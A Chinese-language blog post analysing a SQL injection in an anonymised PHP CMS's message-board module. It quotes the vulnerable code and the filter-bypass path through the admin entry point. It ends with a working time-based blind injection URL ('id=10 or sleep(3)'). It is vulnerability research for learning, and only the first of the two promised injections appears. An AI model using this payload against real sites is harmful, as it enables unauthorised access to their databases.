某cms两处sql注入分析(一)

admin

前言

xxxcms算是我审的第一个cms吧，前期感觉算是一个写的不怎么好的cms，伪全局变量的问题更是不知道引发了多少次漏洞。还记得那些网上的审计教程，说到变量覆盖这个问题都是以xxxcms来举例的。但后期逐渐来了次mvc的大换血，框架更新了下，变量问题也得到了相应调整，也算是逐渐在变好吧。

说了那么多，由于是第一个接触的cms问题，最近被爆出洞也就跟着一起复现了下（我好菜啊。。反正我就挖不到

SQL注入1

漏洞出现在app/system/message/web/message.class.php:37的add函数中
[pre]
public function add($info) {
    global $_M;
    if(!$_M[form][id]){
        $message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
        $_M[form][id]=$message[id];
    }
    $met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and  name= 'met_fd_ok' and columnid = {$_M[form][id]}");
    $_M[config][met_fd_ok]= $met_fd_ok[value];
[/pre]
可以看到{$_M[form][id]}没有被单引号包裹起来，从而可能产生注入。

但是是个cms就会存在字符串过滤，来看下其中的过滤语句app/system/include/function/common.func.php:51
[pre]
function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            if(!defined('IN_ADMIN')){
                $string = trim(addslashes(sqlinsert($string)));
            }else{
                $string = trim(addslashes($string));
            }
        }
    }
    return $string;
}
[/pre]
sqlinsert函数里过滤了相当多的sql关键字，而且只要匹配到出现，参数就直接返回空（相当暴力了

这样，就要想办法绕过!defined('IN_ADMIN')限制，全局搜索一下这个定义的地方，就可以看到是在admin/index.php中
[pre]
define('IN_ADMIN', true);
//接口
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
[/pre]
但是直接去访问add模块的时候，就显示

add function no permission load!!!
是由于其只能调用带do的方法，这样，恰好在add函数上方，就存在一个
[pre]
public function domessage() {
    global $_M;
    if($_M['form']['action'] == 'add'){
    $this->check_field();
    $this->add($_M['form']);
}  
[/pre]
恰好调用了$this->add($_M['form']);,$_M['form']里保存的就是POST和GET传入的参数

然后就是构造payload，这里需要绕过$this->check_field()的验证，只要抓取正常留言的参数，就可以绕过，于是payload就变成了如下
[pre]
http://localhost/xxx/admin/index.php
?m=web
&n=message
&c=message
&a=domessage
&action=add
&para137=admin
&para186=a@a.com
&para138=15555555555
&para139=admin
&para140=admin
&id=10 or sleep(3)
[/pre]
这里我直接把sql语句die了出来